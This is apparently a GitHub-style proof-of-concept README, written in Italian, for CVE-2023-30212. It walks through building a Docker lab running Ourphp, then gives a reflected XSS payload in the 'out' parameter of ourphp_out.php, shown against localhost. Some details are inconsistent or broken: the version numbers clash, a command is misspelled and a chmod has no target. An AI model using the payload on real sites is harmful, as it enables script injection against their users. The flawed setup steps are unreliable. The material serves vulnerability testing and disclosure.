CVE-2023-30212-POC
Creazione di un ambiente Docker vulnerabile e sfruttamento della vulnerabilità in Ourphp versione 7.2.0 ( CVE 2023 30212 )
Passaggio 1. Scarica e installa Docker nel tuo sistema. Sto usando Docker perché è rapido e facile da installare ubuntu
Passaggio 2. Configura l'ambiente Docker
sudo apt-get install docker.io
docker pull ubuntu
docker run -d -t --name test-container -p 80:80 -p 443:44
3 -p 3306:3306 -p 21:21 ubuntu
docker exec -it test-container bash
Passaggio 3. Installazione delle dipendenze
apt-get update
apt-get install wget
apt-get install nano
apt-get install unzip
apt-get install net-tools
apt-get install locate
Passaggio 4. Installa il server web, PHP e MySQL. Per questo installerò il server xampp.
wget https://liquidtelecom.dl.sourceforge.net/project/xampp/XAMPP%20Linux/7.2.0/xampp-linux-x64-7.2.0-0-installer.run
chmod +x xampp-linux-x64-7.2.0-0-installer.run
./xampp-linux-x64-7.2.0-0-installer.run
cd /opt/lampp
./xmapp start
Passaggio 5. Scarica Ourphp versione 7.2.0
wget https://zdown.chinaz.com/202305/ourphp-zyb-v7.5.0.20230515.zip
cp ourphp-zyb-v7.5.0.20230515.zip /opt/lampp/htdocs
unzip ourphp-zyb-v7.5.0.20230515.zip /opt/lampp/htdocs/
chmod -R 777
Passaggio 6. Configura Ourphp nel browser. Apri il browser e inserisci localhost o 127.0.0.1. Segui le istruzioni e installa Ourphp
Passaggio 7. Sfruttamento della vulnerabilità. La versione Ourphp 7.2.0 presenta una vulnerabilità XSS (Cross-Site Scripting). Per mitigare la vulnerabilità nel file /client/manage /ourphp_out.php che consente l'esecuzione di codice XSS

devi modificare il codice. La vulnerabilità si presenta quando il parametro "ourphp_admin" è impostato su "logout," e la variabile controllabile è "out"

Prova di concetto
payload - "</script><script>alert('xss')</script>".
parameter - http://localhost/client/manage/ourphp_out.php?ourphp_admin=logout&out=</script><script>alert('xss')</script>
video

(https://www.youtube.com/watch?v=l9lHyjY9_X0)